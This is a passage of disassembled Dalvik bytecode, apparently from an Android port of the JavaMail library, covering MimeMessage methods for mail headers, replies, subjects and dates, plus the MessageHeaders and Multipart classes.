00000008 const-string v0, "Newsgroups"
0000000C const-string v1, ","
00000010 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
00000016 move-result-object v0
00000018 if-nez v0, :20
:1C
0000001C const/4 v0, 0x0
:1E
0000001E return-object v0
:20
00000020 invoke-static NewsAddress->parse(String)[NewsAddress, v0
00000026 move-result-object v0
00000028 goto :1E
:2A
0000002A invoke-direct MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000030 move-result-object v0
00000032 invoke-direct MimeMessage->getAddressHeader(String)[Address, p0, v0
00000038 move-result-object v0
0000003A goto :1E
.end method
.method public getReplyTo()[Address
.registers 2
00000000 const-string v0, "Reply-To"
00000004 invoke-direct MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A move-result-object v0
0000000C if-nez v0, :18
:10
00000010 invoke-virtual MimeMessage->getFrom()[Address, p0
00000016 move-result-object v0
:18
00000018 return-object v0
.end method
.method public getSender()Address
.registers 3
00000000 const-string v0, "Sender"
00000004 invoke-direct MimeMessage->getAddressHeader(String)[Address, p0, v0
0000000A move-result-object v0
0000000C if-eqz v0, :16
:10
00000010 array-length v1, v0
00000012 if-nez v1, :1A
:16
00000016 const/4 v0, 0x0
:18
00000018 return-object v0
:1A
0000001A const/4 v1, 0x0
0000001C aget-object v0, v0, v1
00000020 goto :18
.end method
.method public getSentDate()Date
.registers 5
00000000 const/4 v1, 0x0
00000002 const-string v0, "Date"
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v1
0000000C move-result-object v0
0000000E if-eqz v0, :34
:12
00000012 sget-object v2, MimeMessage->mailDateFormat:MailDateFormat
00000016 monitor-enter v2
:18
00000018 sget-object v3, MimeMessage->mailDateFormat:MailDateFormat
0000001C invoke-virtual MailDateFormat->parse(String)Date, v3, v0
00000022 move-result-object v0
00000024 monitor-exit v2
:26
00000026 return-object v0
:28
00000028 move-exception v0
0000002A monitor-exit v2
:2C
0000002C throw v0
:2E
0000002E move-exception v0
00000030 move-object v0, v1
00000032 goto :26
:34
00000034 move-object v0, v1
00000036 goto :26
.catch ParseException {:12 .. :18} :2E
.catchall {:18 .. :2C} :28
.catch ParseException {:2C .. :2E} :2E
.end method
.method public getSize()I
.registers 2
00000000 iget-object v0, p0, MimeMessage->content:[B
00000004 if-eqz v0, :10
:8
00000008 iget-object v0, p0, MimeMessage->content:[B
0000000C array-length v0, v0
:E
0000000E return v0
:10
00000010 iget-object v0, p0, MimeMessage->contentStream:InputStream
00000014 if-eqz v0, :28
:18
00000018 iget-object v0, p0, MimeMessage->contentStream:InputStream
0000001C invoke-virtual InputStream->available()I, v0
:22
00000022 move-result v0
00000024 if-gtz v0, :E
:28
00000028 const/4 v0, 0xFFFFFFFFFFFFFFFF
0000002A goto :E
:2C
0000002C move-exception v0
0000002E goto :28
.catch IOException {:18 .. :22} :2C
.end method
.method public getSubject()String
.registers 3
00000000 const/4 v0, 0x0
00000002 const-string v1, "Subject"
00000006 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v1, v0
0000000C move-result-object v1
0000000E if-nez v1, :14
:12
00000012 return-object v0
:14
00000014 invoke-static MimeUtility->unfold(String)String, v1
0000001A move-result-object v0
0000001C invoke-static MimeUtility->decodeText(String)String, v0
:22
00000022 move-result-object v0
00000024 goto :12
:26
00000026 move-exception v0
00000028 move-object v0, v1
0000002A goto :12
.catch UnsupportedEncodingException {:14 .. :22} :26
.end method
.method public isMimeType(String)Z
.registers 3
00000000 invoke-static MimeBodyPart->isMimeType(MimePart, String)Z, p0, p1
00000006 move-result v0
00000008 return v0
.end method
.method public declared-synchronized isSet(Flags$Flag)Z
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, MimeMessage->flags:Flags
00000006 invoke-virtual Flags->contains(Flags$Flag)Z, v0, p1
:C
0000000C move-result v0
0000000E monitor-exit p0
00000010 return v0
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :C} :12
.end method
.method protected parse(InputStream)V
.registers 7
00000000 instance-of v0, p1, ByteArrayInputStream
00000004 if-nez v0, :7A
:8
00000008 instance-of v0, p1, BufferedInputStream
0000000C if-nez v0, :7A
:10
00000010 instance-of v0, p1, SharedInputStream
00000014 if-nez v0, :7A
:18
00000018 new-instance v0, BufferedInputStream
0000001C invoke-direct BufferedInputStream-><init>(InputStream)V, v0, p1
:22
00000022 invoke-virtual MimeMessage->createInternetHeaders(InputStream)InternetHeaders, p0, v0
00000028 move-result-object v1
0000002A iput-object v1, p0, MimeMessage->headers:InternetHeaders
0000002E instance-of v1, v0, SharedInputStream
00000032 if-eqz v1, :5A
:36
00000036 check-cast v0, SharedInputStream
0000003A invoke-interface SharedInputStream->getPosition()J, v0
00000040 move-result-wide v1
00000042 const-wide/16 v3, 0xFFFFFFFFFFFFFFFF
00000046 invoke-interface SharedInputStream->newStream(J, J)InputStream, v0, v1, v2, v3, v4
0000004C move-result-object v0
0000004E iput-object v0, p0, MimeMessage->contentStream:InputStream
:52
00000052 const/4 v0, 0x0
00000054 iput-boolean v0, p0, MimeMessage->modified:Z
00000058 return-void
:5A
0000005A invoke-static ASCIIUtility->getBytes(InputStream)[B, v0
00000060 move-result-object v0
00000062 iput-object v0, p0, MimeMessage->content:[B
:66
00000066 goto :52
:68
00000068 move-exception v0
0000006A new-instance v1, MessagingException
0000006E const-string v2, "IOException"
00000072 invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000078 throw v1
:7A
0000007A move-object v0, p1
0000007C goto :22
.catch IOException {:5A .. :66} :68
.end method
.method public removeHeader(String)V
.registers 3
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->removeHeader(String)V, v0, p1
0000000A return-void
.end method
.method public reply(Z)Message
.registers 10
00000000 const/4 v1, 0x1
00000002 const/4 v6, 0x0
00000004 const/4 v2, 0x0
00000006 iget-object v0, p0, MimeMessage->session:Session
0000000A invoke-virtual MimeMessage->createMimeMessage(Session)MimeMessage, p0, v0
00000010 move-result-object v7
00000012 const-string v0, "Subject"
00000016 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v6
0000001C move-result-object v0
0000001E if-eqz v0, :5E
:22
00000022 const-string v3, "Re: "
00000026 const/4 v5, 0x4
00000028 move v4, v2
0000002A invoke-virtual/range String->regionMatches(Z, I, String, I, I)Z, v0 .. v5
00000030 move-result v3
00000032 if-nez v3, :54
:36
00000036 new-instance v3, StringBuilder
0000003A const-string v4, "Re: "
0000003E invoke-direct StringBuilder-><init>(String)V, v3, v4
00000044 invoke-virtual StringBuilder->append(String)StringBuilder, v3, v0
0000004A move-result-object v0
0000004C invoke-virtual StringBuilder->toString()String, v0
00000052 move-result-object v0
:54
00000054 const-string v3, "Subject"
00000058 invoke-virtual MimeMessage->setHeader(String, String)V, v7, v3, v0
:5E
0000005E invoke-virtual MimeMessage->getReplyTo()[Address, p0
00000064 move-result-object v3
00000066 sget-object v0, Message$RecipientType->TO:Message$RecipientType
0000006A invoke-virtual MimeMessage->setRecipients(Message$RecipientType, [Address)V, v7, v0, v3
00000070 if-eqz p1, :164
:74
00000074 new-instance v4, Vector
00000078 invoke-direct Vector-><init>()V, v4
0000007E iget-object v0, p0, MimeMessage->session:Session
00000082 invoke-static InternetAddress->getLocalAddress(Session)InternetAddress, v0
00000088 move-result-object v0
0000008A if-eqz v0, :94
:8E
0000008E invoke-virtual Vector->addElement(Object)V, v4, v0
:94
00000094 iget-object v0, p0, MimeMessage->session:Session
00000098 if-eqz v0, :228
:9C
0000009C iget-object v0, p0, MimeMessage->session:Session
000000A0 const-string v5, "mail.alternates"
000000A4 invoke-virtual Session->getProperty(String)String, v0, v5
000000AA move-result-object v0
:AC
000000AC if-eqz v0, :BE
:B0
000000B0 invoke-static InternetAddress->parse(String, Z)[InternetAddress, v0, v2
000000B6 move-result-object v0
000000B8 invoke-direct MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
:BE
000000BE iget-object v0, p0, MimeMessage->session:Session
000000C2 if-eqz v0, :222
:C6
000000C6 iget-object v0, p0, MimeMessage->session:Session
000000CA const-string v5, "mail.replyallcc"
000000CE invoke-virtual Session->getProperty(String)String, v0, v5
000000D4 move-result-object v0
:D6
000000D6 if-eqz v0, :208
:DA
000000DA const-string v5, "true"
000000DE invoke-virtual String->equalsIgnoreCase(String)Z, v0, v5
000000E4 move-result v0
000000E6 if-eqz v0, :208
:EA
000000EA invoke-direct MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v3
000000F0 sget-object v0, Message$RecipientType->TO:Message$RecipientType
000000F4 invoke-virtual MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
000000FA move-result-object v0
000000FC invoke-direct MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
00000102 move-result-object v0
00000104 if-eqz v0, :11C
:108
00000108 array-length v2, v0
0000010A if-lez v2, :11C
:10E
0000010E if-eqz v1, :20E
:112
00000112 sget-object v1, Message$RecipientType->CC:Message$RecipientType
00000116 invoke-virtual MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:11C
0000011C sget-object v0, Message$RecipientType->CC:Message$RecipientType
00000120 invoke-virtual MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
00000126 move-result-object v0
00000128 invoke-direct MimeMessage->eliminateDuplicates(Vector, [Address)[Address, p0, v4, v0
0000012E move-result-object v0
00000130 if-eqz v0, :144
:134
00000134 array-length v1, v0
00000136 if-lez v1, :144
:13A
0000013A sget-object v1, Message$RecipientType->CC:Message$RecipientType
0000013E invoke-virtual MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:144
00000144 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000148 invoke-virtual MimeMessage->getRecipients(Message$RecipientType)[Address, p0, v0
0000014E move-result-object v0
00000150 if-eqz v0, :164
:154
00000154 array-length v1, v0
00000156 if-lez v1, :164
:15A
0000015A sget-object v1, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
0000015E invoke-virtual MimeMessage->setRecipients(Message$RecipientType, [Address)V, v7, v1, v0
:164
00000164 const-string v0, "Message-Id"
00000168 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v0, v6
0000016E move-result-object v0
00000170 if-eqz v0, :17E
:174
00000174 const-string v1, "In-Reply-To"
00000178 invoke-virtual MimeMessage->setHeader(String, String)V, v7, v1, v0
:17E
0000017E const-string v1, "References"
00000182 const-string v2, " "
00000186 invoke-virtual MimeMessage->getHeader(String, String)String, p0, v1, v2
0000018C move-result-object v1
0000018E if-nez v1, :1A2
:192
00000192 const-string v1, "In-Reply-To"
00000196 const-string v2, " "
0000019A invoke-virtual MimeMessage->getHeader(String, String)String, p0, v1, v2
000001A0 move-result-object v1
:1A2
000001A2 if-eqz v0, :21E
:1A6
000001A6 if-eqz v1, :1E0
:1AA
000001AA new-instance v2, StringBuilder
000001AE invoke-static MimeUtility->unfold(String)String, v1
000001B4 move-result-object v1
000001B6 invoke-static String->valueOf(Object)String, v1
000001BC move-result-object v1
000001BE invoke-direct StringBuilder-><init>(String)V, v2, v1
000001C4 const-string v1, " "
000001C8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
000001CE move-result-object v1
000001D0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000001D6 move-result-object v0
000001D8 invoke-virtual StringBuilder->toString()String, v0
000001DE move-result-object v0
:1E0
000001E0 if-eqz v0, :1FA
:1E4
000001E4 const-string v1, "References"
000001E8 const/16 v2, 0xC
000001EC invoke-static MimeUtility->fold(I, String)String, v2, v0
000001F2 move-result-object v0
000001F4 invoke-virtual MimeMessage->setHeader(String, String)V, v7, v1, v0
:1FA
000001FA sget-object v0, MimeMessage->answeredFlag:Flags
000001FE const/4 v1, 0x1
00000200 invoke-virtual MimeMessage->setFlags(Flags, Z)V, p0, v0, v1
:206
00000206 return-object v7
:208
00000208 move v1, v2
0000020A goto/16 :EA
:20E
0000020E sget-object v1, Message$RecipientType->TO:Message$RecipientType
00000212 invoke-virtual MimeMessage->addRecipients(Message$RecipientType, [Address)V, v7, v1, v0
00000218 goto :11C
:21A
0000021A move-exception v0
0000021C goto :206
:21E
0000021E move-object v0, v1
00000220 goto :1E0
:222
00000222 move-object v0, v6
00000224 goto/16 :D6
:228
00000228 move-object v0, v6
0000022A goto/16 :AC
.catch MessagingException {:1FA .. :206} :21A
.end method
.method public saveChanges()V
.registers 2
00000000 const/4 v0, 0x1
00000002 iput-boolean v0, p0, MimeMessage->modified:Z
00000006 iput-boolean v0, p0, MimeMessage->saved:Z
0000000A invoke-virtual MimeMessage->updateHeaders()V, p0
00000010 return-void
.end method
.method public setContent(Object, String)V
.registers 4
00000000 instance-of v0, p1, Multipart
00000004 if-eqz v0, :14
:8
00000008 check-cast p1, Multipart
0000000C invoke-virtual MimeMessage->setContent(Multipart)V, p0, p1
:12
00000012 return-void
:14
00000014 new-instance v0, DataHandler
00000018 invoke-direct DataHandler-><init>(Object, String)V, v0, p1, p2
0000001E invoke-virtual MimeMessage->setDataHandler(DataHandler)V, p0, v0
00000024 goto :12
.end method
.method public setContent(Multipart)V
.registers 4
00000000 new-instance v0, DataHandler
00000004 invoke-virtual Multipart->getContentType()String, p1
0000000A move-result-object v1
0000000C invoke-direct DataHandler-><init>(Object, String)V, v0, p1, v1
00000012 invoke-virtual MimeMessage->setDataHandler(DataHandler)V, p0, v0
00000018 invoke-virtual Multipart->setParent(Part)V, p1, p0
0000001E return-void
.end method
.method public setContentID(String)V
.registers 3
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Content-ID"
00000008 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Content-ID"
00000014 invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, p1
0000001A goto :E
.end method
.method public setContentLanguage([String)V
.registers 2
00000000 invoke-static MimeBodyPart->setContentLanguage(MimePart, [String)V, p0, p1
00000006 return-void
.end method
.method public setContentMD5(String)V
.registers 3
00000000 const-string v0, "Content-MD5"
00000004 invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, p1
0000000A return-void
.end method
.method public declared-synchronized setDataHandler(DataHandler)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, MimeMessage->dh:DataHandler
00000006 const/4 v0, 0x0
00000008 iput-object v0, p0, MimeMessage->cachedContent:Object
0000000C invoke-static MimeBodyPart->invalidateContentHeaders(MimePart)V, p0
:12
00000012 monitor-exit p0
00000014 return-void
:16
00000016 move-exception v0
00000018 monitor-exit p0
0000001A throw v0
.catchall {:2 .. :12} :16
.end method
.method public setDescription(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeMessage->setDescription(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public setDescription(String, String)V
.registers 3
00000000 invoke-static MimeBodyPart->setDescription(MimePart, String, String)V, p0, p1, p2
00000006 return-void
.end method
.method public setDisposition(String)V
.registers 2
00000000 invoke-static MimeBodyPart->setDisposition(MimePart, String)V, p0, p1
00000006 return-void
.end method
.method public setFileName(String)V
.registers 2
00000000 invoke-static MimeBodyPart->setFileName(MimePart, String)V, p0, p1
00000006 return-void
.end method
.method public declared-synchronized setFlags(Flags, Z)V
.registers 4
00000000 monitor-enter p0
00000002 if-eqz p2, :14
:6
00000006 iget-object v0, p0, MimeMessage->flags:Flags
0000000A invoke-virtual Flags->add(Flags)V, v0, p1
:10
00000010 monitor-exit p0
00000012 return-void
:14
00000014 iget-object v0, p0, MimeMessage->flags:Flags
00000018 invoke-virtual Flags->remove(Flags)V, v0, p1
:1E
0000001E goto :10
:20
00000020 move-exception v0
00000022 monitor-exit p0
00000024 throw v0
.catchall {:6 .. :10} :20
.catchall {:14 .. :1E} :20
.end method
.method public setFrom()V
.registers 3
00000000 iget-object v0, p0, MimeMessage->session:Session
00000004 invoke-static InternetAddress->getLocalAddress(Session)InternetAddress, v0
0000000A move-result-object v0
0000000C if-eqz v0, :18
:10
00000010 invoke-virtual MimeMessage->setFrom(Address)V, p0, v0
00000016 return-void
:18
00000018 new-instance v0, MessagingException
0000001C const-string v1, "No From address"
00000020 invoke-direct MessagingException-><init>(String)V, v0, v1
00000026 throw v0
.end method
.method public setFrom(Address)V
.registers 4
00000000 if-nez p1, :10
:4
00000004 const-string v0, "From"
00000008 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "From"
00000014 invoke-virtual Address->toString()String, p1
0000001A move-result-object v1
0000001C invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
00000022 goto :E
.end method
.method public setHeader(String, String)V
.registers 4
00000000 iget-object v0, p0, MimeMessage->headers:InternetHeaders
00000004 invoke-virtual InternetHeaders->setHeader(String, String)V, v0, p1, p2
0000000A return-void
.end method
.method public setRecipients(Message$RecipientType, String)V
.registers 5
00000000 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004 if-ne p1, v0, :30
:8
00000008 if-eqz p2, :18
:C
0000000C invoke-virtual String->length()I, p2
00000012 move-result v0
00000014 if-nez v0, :24
:18
00000018 const-string v0, "Newsgroups"
0000001C invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:22
00000022 return-void
:24
00000024 const-string v0, "Newsgroups"
00000028 invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, p2
0000002E goto :22
:30
00000030 invoke-direct MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000036 move-result-object v0
00000038 invoke-static InternetAddress->parse(String)[InternetAddress, p2
0000003E move-result-object v1
00000040 invoke-direct MimeMessage->setAddressHeader(String, [Address)V, p0, v0, v1
00000046 goto :22
.end method
.method public setRecipients(Message$RecipientType, [Address)V
.registers 5
00000000 sget-object v0, MimeMessage$RecipientType->NEWSGROUPS:MimeMessage$RecipientType
00000004 if-ne p1, v0, :32
:8
00000008 if-eqz p2, :12
:C
0000000C array-length v0, p2
0000000E if-nez v0, :1E
:12
00000012 const-string v0, "Newsgroups"
00000016 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:1C
0000001C return-void
:1E
0000001E const-string v0, "Newsgroups"
00000022 invoke-static NewsAddress->toString([Address)String, p2
00000028 move-result-object v1
0000002A invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
00000030 goto :1C
:32
00000032 invoke-direct MimeMessage->getHeaderName(Message$RecipientType)String, p0, p1
00000038 move-result-object v0
0000003A invoke-direct MimeMessage->setAddressHeader(String, [Address)V, p0, v0, p2
00000040 goto :1C
.end method
.method public setReplyTo([Address)V
.registers 3
00000000 const-string v0, "Reply-To"
00000004 invoke-direct MimeMessage->setAddressHeader(String, [Address)V, p0, v0, p1
0000000A return-void
.end method
.method public setSender(Address)V
.registers 4
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Sender"
00000008 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Sender"
00000014 invoke-virtual Address->toString()String, p1
0000001A move-result-object v1
0000001C invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
00000022 goto :E
.end method
.method public setSentDate(Date)V
.registers 5
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Date"
00000008 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 sget-object v1, MimeMessage->mailDateFormat:MailDateFormat
00000014 monitor-enter v1
:16
00000016 const-string v0, "Date"
0000001A sget-object v2, MimeMessage->mailDateFormat:MailDateFormat
0000001E invoke-virtual MailDateFormat->format(Date)String, v2, p1
00000024 move-result-object v2
00000026 invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v2
0000002C monitor-exit v1
0000002E goto :E
:30
00000030 move-exception v0
00000032 monitor-exit v1
:34
00000034 throw v0
.catchall {:16 .. :34} :30
.end method
.method public setSubject(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeMessage->setSubject(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public setSubject(String, String)V
.registers 6
00000000 if-nez p1, :10
:4
00000004 const-string v0, "Subject"
00000008 invoke-virtual MimeMessage->removeHeader(String)V, p0, v0
:E
0000000E return-void
:10
00000010 const-string v0, "Subject"
00000014 const/16 v1, 0x9
00000018 const/4 v2, 0x0
0000001A invoke-static MimeUtility->encodeText(String, String, String)String, p1, p2, v2
00000020 move-result-object v2
00000022 invoke-static MimeUtility->fold(I, String)String, v1, v2
00000028 move-result-object v1
0000002A invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
:30
00000030 goto :E
:32
00000032 move-exception v0
00000034 new-instance v1, MessagingException
00000038 const-string v2, "Encoding error"
0000003C invoke-direct MessagingException-><init>(String, Exception)V, v1, v2, v0
00000042 throw v1
.catch UnsupportedEncodingException {:10 .. :30} :32
.end method
.method public setText(String)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeMessage->setText(String, String)V, p0, p1, v0
00000008 return-void
.end method
.method public setText(String, String)V
.registers 4
00000000 const-string v0, "plain"
00000004 invoke-static MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, v0
0000000A return-void
.end method
.method public setText(String, String, String)V
.registers 4
00000000 invoke-static MimeBodyPart->setText(MimePart, String, String, String)V, p0, p1, p2, p3
00000006 return-void
.end method
.method protected updateHeaders()V
.registers 5
00000000 const/4 v3, 0x0
00000002 invoke-static MimeBodyPart->updateHeaders(MimePart)V, p0
00000008 const-string v0, "MIME-Version"
0000000C const-string v1, "1.0"
00000010 invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
00000016 invoke-virtual MimeMessage->updateMessageID()V, p0
0000001C iget-object v0, p0, MimeMessage->cachedContent:Object
00000020 if-eqz v0, :5C
:24
00000024 new-instance v0, DataHandler
00000028 iget-object v1, p0, MimeMessage->cachedContent:Object
0000002C invoke-virtual MimeMessage->getContentType()String, p0
00000032 move-result-object v2
00000034 invoke-direct DataHandler-><init>(Object, String)V, v0, v1, v2
0000003A iput-object v0, p0, MimeMessage->dh:DataHandler
0000003E iput-object v3, p0, MimeMessage->cachedContent:Object
00000042 iput-object v3, p0, MimeMessage->content:[B
00000046 iget-object v0, p0, MimeMessage->contentStream:InputStream
0000004A if-eqz v0, :58
:4E
0000004E iget-object v0, p0, MimeMessage->contentStream:InputStream
00000052 invoke-virtual InputStream->close()V, v0
:58
00000058 iput-object v3, p0, MimeMessage->contentStream:InputStream
:5C
0000005C return-void
:5E
0000005E move-exception v0
00000060 goto :58
.catch IOException {:4E .. :58} :5E
.end method
.method protected updateMessageID()V
.registers 4
00000000 const-string v0, "Message-ID"
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "<"
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 iget-object v2, p0, MimeMessage->session:Session
00000016 invoke-static UniqueValue->getUniqueMessageIDValue(Session)String, v2
0000001C move-result-object v2
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000024 move-result-object v1
00000026 const-string v2, ">"
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000030 move-result-object v1
00000032 invoke-virtual StringBuilder->toString()String, v1
00000038 move-result-object v1
0000003A invoke-virtual MimeMessage->setHeader(String, String)V, p0, v0, v1
00000040 return-void
.end method
.method public writeTo(OutputStream)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-virtual MimeMessage->writeTo(OutputStream, [String)V, p0, p1, v0
00000008 return-void
.end method
.method public writeTo(OutputStream, [String)V
.registers 7
00000000 iget-boolean v0, p0, MimeMessage->saved:Z
00000004 if-nez v0, :E
:8
00000008 invoke-virtual MimeMessage->saveChanges()V, p0
:E
0000000E iget-boolean v0, p0, MimeMessage->modified:Z
00000012 if-eqz v0, :1E
:16
00000016 invoke-static MimeBodyPart->writeTo(MimePart, OutputStream, [String)V, p0, p1, p2
:1C
0000001C return-void
:1E
0000001E invoke-virtual MimeMessage->getNonMatchingHeaderLines([String)Enumeration, p0, p2
00000024 move-result-object v1
00000026 new-instance v2, LineOutputStream
0000002A invoke-direct LineOutputStream-><init>(OutputStream)V, v2, p1
:30
00000030 invoke-interface Enumeration->hasMoreElements()Z, v1
00000036 move-result v0
00000038 if-nez v0, :7A
:3C
0000003C invoke-virtual LineOutputStream->writeln()V, v2
00000042 iget-object v0, p0, MimeMessage->content:[B
00000046 if-nez v0, :98
:4A
0000004A invoke-virtual MimeMessage->getContentStream()InputStream, p0
00000050 move-result-object v0
00000052 const/16 v1, 0x2000
00000056 new-array v1, v1, [B
:5A
0000005A invoke-virtual InputStream->read([B)I, v0, v1
00000060 move-result v2
00000062 if-gtz v2, :8E
:66
00000066 invoke-virtual InputStream->close()V, v0
0000006C const/4 v0, 0x0
0000006E check-cast v0, [B
:72
00000072 invoke-virtual OutputStream->flush()V, p1
00000078 goto :1C
:7A
0000007A invoke-interface Enumeration->nextElement()Object, v1
00000080 move-result-object v0
00000082 check-cast v0, String
00000086 invoke-virtual LineOutputStream->writeln(String)V, v2, v0
0000008C goto :30
:8E
0000008E const/4 v3, 0x0
00000090 invoke-virtual OutputStream->write([B, I, I)V, p1, v1, v3, v2
00000096 goto :5A
:98
00000098 iget-object v0, p0, MimeMessage->content:[B
0000009C invoke-virtual OutputStream->write([B)V, p1, v0
000000A2 goto :72
.end method
#--------------------------------------------------------------------------------
.class public MessageHeaders
.super MimeMessage
.source ""
.method public constructor <init>()V
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-direct MimeMessage-><init>(Session)V, p0, v0
00000008 const/4 v0, 0x0
0000000A new-array v0, v0, [B
0000000E iput-object v0, p0, MessageHeaders->content:[B
00000012 return-void
.end method
.method public constructor <init>(InputStream)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct MimeMessage-><init>(Session, InputStream)V, p0, v0, p1
00000008 const/4 v0, 0x0
0000000A new-array v0, v0, [B
0000000E iput-object v0, p0, MessageHeaders->content:[B
00000012 return-void
.end method
.method public constructor <init>(InternetHeaders)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct MimeMessage-><init>(Session)V, p0, v0
00000008 iput-object p1, p0, MessageHeaders->headers:InternetHeaders
0000000C const/4 v0, 0x0
0000000E new-array v0, v0, [B
00000012 iput-object v0, p0, MessageHeaders->content:[B
00000016 return-void
.end method
.method protected getContentStream()InputStream
.registers 3
00000000 new-instance v0, ByteArrayInputStream
00000004 iget-object v1, p0, MessageHeaders->content:[B
00000008 invoke-direct ByteArrayInputStream-><init>([B)V, v0, v1
0000000E return-object v0
.end method
.method public getInputStream()InputStream
.registers 3
00000000 new-instance v0, ByteArrayInputStream
00000004 iget-object v1, p0, MessageHeaders->content:[B
00000008 invoke-direct ByteArrayInputStream-><init>([B)V, v0, v1
0000000E return-object v0
.end method
.method public getSize()I
.registers 2
00000000 const/4 v0, 0x0
00000002 return v0
.end method
.method public setDataHandler(DataHandler)V
.registers 4
00000000 new-instance v0, MessagingException
00000004 const-string v1, "Can\'t set content for MessageHeaders"
00000008 invoke-direct MessagingException-><init>(String)V, v0, v1
0000000E throw v0
.end method
#--------------------------------------------------------------------------------
.class public abstract Multipart
.super Object
.source ""
.field protected contentType:String
.field protected parent:Part
.field protected parts:Vector
.method protected constructor <init>()V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Vector
0000000A invoke-direct Vector-><init>()V, v0
00000010 iput-object v0, p0, Multipart->parts:Vector
00000014 const-string v0, "multipart/mixed"
00000018 iput-object v0, p0, Multipart->contentType:String
0000001C return-void
.end method
.method public declared-synchronized addBodyPart(BodyPart)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Multipart->parts:Vector
:18
00000018 iget-object v0, p0, Multipart->parts:Vector
0000001C invoke-virtual Vector->addElement(Object)V, v0, p1
00000022 invoke-virtual BodyPart->setParent(Multipart)V, p1, p0
:28
00000028 monitor-exit p0
0000002A return-void
:2C
0000002C move-exception v0
0000002E monitor-exit p0
00000030 throw v0
.catchall {:2 .. :28} :2C
.end method
.method public declared-synchronized addBodyPart(BodyPart, I)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
00000006 if-nez v0, :18
:A
0000000A new-instance v0, Vector
0000000E invoke-direct Vector-><init>()V, v0
00000014 iput-object v0, p0, Multipart->parts:Vector
:18
00000018 iget-object v0, p0, Multipart->parts:Vector
0000001C invoke-virtual Vector->insertElementAt(Object, I)V, v0, p1, p2
00000022 invoke-virtual BodyPart->setParent(Multipart)V, p1, p0
:28
00000028 monitor-exit p0
0000002A return-void
:2C
0000002C move-exception v0
0000002E monitor-exit p0
00000030 throw v0
.catchall {:2 .. :28} :2C
.end method
.method public declared-synchronized getBodyPart(I)BodyPart
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
00000006 if-nez v0, :20
:A
0000000A new-instance v0, IndexOutOfBoundsException
0000000E const-string v1, "No such BodyPart"
00000012 invoke-direct IndexOutOfBoundsException-><init>(String)V, v0, v1
00000018 throw v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
:20
00000020 iget-object v0, p0, Multipart->parts:Vector
00000024 invoke-virtual Vector->elementAt(I)Object, v0, p1
0000002A move-result-object v0
0000002C check-cast v0, BodyPart
:30
00000030 monitor-exit p0
00000032 return-object v0
